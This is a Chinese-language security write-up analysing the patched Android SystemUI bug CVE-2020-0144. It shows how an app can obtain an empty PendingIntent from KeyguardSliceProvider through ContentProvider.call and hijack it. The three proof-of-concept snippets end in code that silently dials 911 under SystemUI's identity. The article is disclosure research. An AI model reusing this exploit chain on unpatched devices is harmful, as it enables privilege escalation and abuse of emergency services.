作者:heeeeen
公眾號:OPPO安全應急響應中心
系列閱讀:
– Android 中的特殊攻擊面(一)——邪惡的對話框
– Android 中的特殊攻擊面(二)——危險的deeplink
0x00 簡介
6月,Google在Android AOSP Framework中修復了OPPO子午互聯網安全實驗室發現的高危提權漏洞CVE-2020-0144 [1] ,這個漏洞允許手機上沒有權限的惡意應用以SystemUI 的名義發送任意Activity Intent ,可以靜默撥打緊急電話,打開許多受權限保護的Activity。該漏洞也是自retme大神所分析的BroadcastAnyWhere經典漏洞[2]以來的又一個PendingIntent劫持漏洞,儘管無法以System UID的權限發送任意廣播,但由於SystemUI 同樣擁有大量權限,該提權漏洞仍然具有很大的利用空間。
本文將對CVE-2020-0144進行分析,不過重點倒不在於PendingIntent漏洞利用,而是介紹該漏洞中PendingIntent的獲取,這涉及到ContentProvider的一個比較隱蔽的函數——call 。
0x01 ContentProvider call
call函數的其中一個原型如下
public Bundle call (String method, String arg, Bundle extras) Bundle extras)
與其他基於數據庫表的query/insert/delete等函數不同,call提供了一種針對Provider的直接操作接口,支持傳入的參數分別為:方法、String類型的參數和Bundle類型的參數,並返回給調用者一個Bundle 類型的參數。
call函數的使用潛藏暗坑,開發者文檔特意給出警示[3]:Android框架並沒有針對call函數進行權限檢查,call函數必須實現自己的權限檢查。這裡的潛在含義是:AndroidManifest文件中對ContentProvider的權限設置可能無效,必須在代碼中對調用者進行權限檢查。文章[4]對這種call函數的誤用進行了描述,並給出了漏洞模型,感興趣的讀者可以去深究。
0x02 雙無PendingIntent
CVE-2020-0144位於SystemUI的KeyGuardSliceProvider,該Provider包含一個構造自空Intent的PendingIntent。這是一個雙無PendingIntent,既沒有指定Intent的Package,也沒有指定Intent的Action。普通App如果可以拿到這個PendingIntent,就可以填充這些內容,並以SystemUI的名義發送出去。
frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java
public boolean onCreateSliceProvider() {
...
mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
...
}
return true;
}
關鍵是普通App,如何拿到這個PendingIntent?要回答這個問題,必須從KeyGuardSliceProvider的父類SliceProvider說起。
0x03 SliceProvider
SliceProvider是自Android P開始引入的一種應用程序間共享UI界面的機制,其架構如下圖所示。在默認使用場景下,Slice的呈現者(SlicePresenter),可以通過Slice URI和Android系統提供的bindSlice等API來訪問另一個App通過SliceProvider分享出來的Slice。
簡而言之,Slice是可共享的UI界面,包括圖標、文本和動作(action),Slice通過URI來唯一標識。比如Settings中打開NFC開關的這個界面
可以通過SettingsSliceProvider中content://android.settings.slices/action/toggle_nfc這個URI共享給別的應用使用,用戶不必打開Settings,就可以在其他應用界面中對NFC開關進行操作。除了顯示文字和圖標,上述界面也包含兩個action:
點擊文字:跳轉到Settings中的NFC設置界面;
點擊按鈕:直接打開或關閉NFC選項。
這兩個提供給用戶觸發的action實質都是通過PendingIntent來實現的。
關於SliceProvider的詳細介紹參見[5]、[6],儘管Android框架層提供了一系列API供App來使用SliceProvider,但更底層的call函數提供了一種直接操縱SliceProvider的捷徑。
仔細觀察SliceProvider,實現了call函數,根據不同的調用方法,返回一個包含Slice對象的Bundle。
frameworks/base/core/java/android/app/slice/SliceProvider.java
@Override
public Bundle call(String method, String arg, Bundle extras) {
if (method.equals(METHOD_SLICE)) {
Uri uri = getUriWithoutUserId(validateIncomingUriOrNull(
extras.getParcelable(EXTRA_BIND_URI)));
List<SliceSpec> supportedSpecs = extras.getParcelableArrayList(EXTRA_SUPPORTED_SPECS);
String callingPackage = getCallingPackage();
int callingUid = Binder.getCallingUid();
int callingPid = Binder.getCallingPid();
Slice s = handleBindSlice(uri, supportedSpecs, callingPackage, callingUid, callingPid);
Bundle b = new Bundle();
b.putParcelable(EXTRA_SLICE, s);
return b;
} else if (method.equals(METHOD_MAP_INTENT)) {
...
} else if (method.equals(METHOD_MAP_ONLY_INTENT)) {
...
} else if (method.equals(METHOD_PIN)) {
...
} else if (method.equals(METHOD_UNPIN)) {
...
} else if (method.equals(METHOD_GET_DESCENDANTS)) {
...
} else if (method.equals(METHOD_GET_PERMISSIONS)) {
...
}
return super.call(method, arg, extras);
}
我們觀察第一個分支,當傳入的方法為METHOD_SLICE時,調用鏈為SliceProvider.handleBindSlice–>onBindSliceStrict–>onBindSlice,中間若通過了Slice訪問的權限檢查,最終就會進入onBindSlice方法,在SliceProvder中這個方法為空,因此具體實現在派生SliceProvider的子類。
0x04 KeyguardSliceProvider
SystemUI 所使用的KeyguardSliceProivder派生自SliceProvider,可以將鎖屏上的日期、勿擾圖標以及鬧鐘等展示界面分享給其他App使用。
<provider android:name=".keyguard.KeyguardSliceProvider"
android:authorities="com.android.systemui.keyguard"
android:grantUriPermissions="true"
android:exported="true">
</provider>
針對KeyguardSliceProvider的URI content://com.android.systemui.keyguard使用call函數,傳入METHOD_SLICE,最終進入下面的onBindSlice方法。
frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java
@AnyThread
@Override
public Slice onBindSlice(Uri sliceUri) {
Trace.beginSection("KeyguardSliceProvider#onBindSlice");
Slice slice;
synchronized (this) {
ListBuilder builder = new ListBuilder(getContext(), mSliceUri, ListBuilder.INFINITY);
if (needsMediaLocked()) {
addMediaLocked(builder);
} else {
builder.addRow(new RowBuilder(mDateUri).setTitle(mLastText));
}
addNextAlarmLocked(builder);
addZenModeLocked(builder);
addPrimaryActionLocked(builder);
slice = builder.build();
}
Trace.endSection();
return slice;
}
這個方法返回給調用方KeyGuardSliceProvider的Slice對象,該對象通過addPrimaryActionLocked(builder)函數添加內部的action。
frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java
protected void addPrimaryActionLocked(ListBuilder builder) {
// Add simple action because API requires it; Keyguard handles presenting
// its own slices so this action + icon are actually never used.
IconCompat icon = IconCompat.createWithResource(getContext(),
R.drawable.ic_access_alarms_big);
SliceAction action = SliceAction.createDeeplink(mPendingIntent, icon,
ListBuilder.ICON_IMAGE, mLastText);
RowBuilder primaryActionRow = new RowBuilder(Uri.parse(KEYGUARD_ACTION_URI))
.setPrimaryAction(action);
builder.addRow(primaryActionRow);
}
注意上面那個mPendingIntent,也就是我們在前文所說的那個雙無PendingIntent,該對象會被層層包裹到call函數返回的Slice對象中。因此,通過call函數,經過SliceProvider與KeyguardSliceProvider,有可能拿到SystemUI 生成的一個雙無PendingIntent。
0x05 SliceProvider授權
但是使用下面的代碼去call KeyguardSliceProvider會觸發第一次訪問Slice的授權。
—-POC1—-
final static String uriKeyguardSlices = "content://com.android.systemui.keyguard";
Bundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle());
Slice slice = responseBundle.getParcelable("slice");
Log.d("pi", slice.toString());
private Bundle prepareReqBundle() {
Bundle b = new Bundle();
b.putParcelable("slice_uri", Uri.parse(uriKeyguardSlices));
ArrayList<Parcelable> supportedSpecs = new ArrayList<Parcelable>();
supportedSpecs.add(new SliceSpec("androidx.app.slice.LIST", 1));
supportedSpecs.add(new SliceSpec("androidx.slice.LIST", 1));
supportedSpecs.add(new SliceSpec("androidx.app.slice.BASIC", 1));
b.putParcelableArrayList("supported_specs", supportedSpecs);
return b;
}
得到Slice如下
05-30 08:31:02.306 11449 11449 D pi : slice:
05-30 08:31:02.306 11449 11449 D pi : image
05-30 08:31:02.306 11449 11449 D pi : text: testAOSPSytemUIKeyguardSliceProvider wants to show System UI slices
05-30 08:31:02.306 11449 11449 D pi : int
05-30 08:31:02.306 11449 11449 D pi : slice:
05-30 08:31:02.306 11449 11449 D pi : image
05-30 08:31:02.306 11449 11449 D pi : action
從上面的text描述可知,由於SystemUI並沒有授權給我們的app去訪問這個Slice,我們的call觸發了對Slice的授權請求,得到的Slice對象經由createPermissionSlice返回
frameworks/base/core/java/android/app/slice/SliceProvider.java
private Slice handleBindSlice(Uri sliceUri, List<SliceSpec> supportedSpecs,
String callingPkg, int callingUid, int callingPid) {
// This can be removed once Slice#bindSlice is removed and everyone is using
// SliceManager#bindSlice.
String pkg = callingPkg != null ? callingPkg
: getContext().getPackageManager().getNameForUid(callingUid);
try {
mSliceManager.enforceSlicePermission(sliceUri, pkg,
callingPid, callingUid, mAutoGrantPermissions);
} catch (SecurityException e) {
return createPermissionSlice(getContext(), sliceUri, pkg);
}
這個Slice封裝了一個向用戶獲取授權的動作,通過createPermissionSlice函數得到
frameworks/base/core/java/android/app/slice/SliceProvider.java
public Slice createPermissionSlice(Context context, Uri sliceUri,
String callingPackage) {
PendingIntent action;
mCallback = "onCreatePermissionRequest";
Handler.getMain().postDelayed(mAnr, SLICE_BIND_ANR);
try {
action = onCreatePermissionRequest(sliceUri);
} finally {
Handler.getMain().removeCallbacks(mAnr);
}
最終調用createPermissionIntent,構造一個PendingIntent,用於彈出授權對話框SlicePermissionActivity
frameworks/base/core/java/android/app/slice/SliceProvider.java
/**
* @hide
*/
public static PendingIntent createPermissionIntent(Context context, Uri sliceUri,
String callingPackage) {
Intent intent = new Intent(SliceManager.ACTION_REQUEST_SLICE_PERMISSION);
intent.setComponent(new ComponentName("com.android.systemui",
"com.android.systemui.SlicePermissionActivity"));
intent.putExtra(EXTRA_BIND_URI, sliceUri);
intent.putExtra(EXTRA_PKG, callingPackage);
intent.putExtra(EXTRA_PROVIDER_PKG, context.getPackageName());
// Unique pending intent.
intent.setData(sliceUri.buildUpon().appendQueryParameter("package", callingPackage)
.build());
return PendingIntent.getActivity(context, 0, intent, 0);
}
看到這裡,就知道普通App也可以直接發起這個授權,讓用戶同意對KeyguardSliceProvider的訪問,POC發起授權的部分如下。
—POC2—
Intent intent = new Intent("com.android.intent.action.REQUEST_SLICE_PERMISSION");
intent.setComponent(new ComponentName("com.android.systemui",
"com.android.systemui.SlicePermissionActivity"));
Uri uri = Uri.parse(uriKeyguardSlices);
intent.putExtra("slice_uri", uri);
intent.putExtra("pkg", getPackageName());
intent.putExtra("provider_pkg", "com.android.systemui");
startActivity(intent);
點擊同意后,就可以真正call到KeyguardSliceProvider
0x06 PendingIntent劫持題
再次調用POC1,得到Slice如下,
sargo:/data/system/slice # logcat -s pi
--------- beginning of main
05-30 10:40:52.956 12871 12871 D pi : long
05-30 10:40:52.956 12871 12871 D pi : slice:
05-30 10:40:52.956 12871 12871 D pi : text: Sat, May 30
05-30 10:40:52.956 12871 12871 D pi : slice:
05-30 10:40:52.956 12871 12871 D pi : action
05-30 10:40:52.956 12871 12871 D pi : long
注意上面顯示的 那個action就是需要劫持的PendingIntent,通過調試觀察,這個PendingIntent被層層包裹,位於返回Slice第3個SliceItem的第1個SliceItem,用代碼表示就是
PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();
這樣就可以給出POC的最終利用
—POC3—
Bundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle());
Slice slice = responseBundle.getParcelable("slice");
Log.d("pi", slice.toString());
PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();
Intent evilIntent = new Intent("android.intent.action.CALL_PRIVILEGED");
evilIntent.setData(Uri.parse("tel:911"));
try {
pi.send(getApplicationContext(), 0, evilIntent, null, null);
} catch (PendingIntent.CanceledException e) {
e.printStackTrace();
}
在用戶僅授權訪問SystemUI KeyguardSliceProvider的情況下,撥打緊急電話。
至此,我們通過call函數,經過SliceProvider的授權,層層剝繭抽絲,拿到了潛藏至深的雙無PendingIntent,並以SystemUI的名義直接撥打緊急電話。這是一個繞過有關安全設置權限的操作,因此Google評級為高危。
0x07 修復
Google針對雙無PendingIntent進行了修復,使其指向一個並不存在的的Activity,無法被劫持。
- mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
+ mPendingIntent = PendingIntent.getActivity(getContext(), 0,
+ new Intent(getContext(), KeyguardSliceProvider.class), 0);
0x08 參考
[1] https://source.android.com/security/bulletin/2020-06-01
[2] http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html
[5] https://developer.android.com/guide/slices
[6] https://proandroiddev.com/android-jetpack-android-slices-introduction-cf0ce0f3e885
本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1269/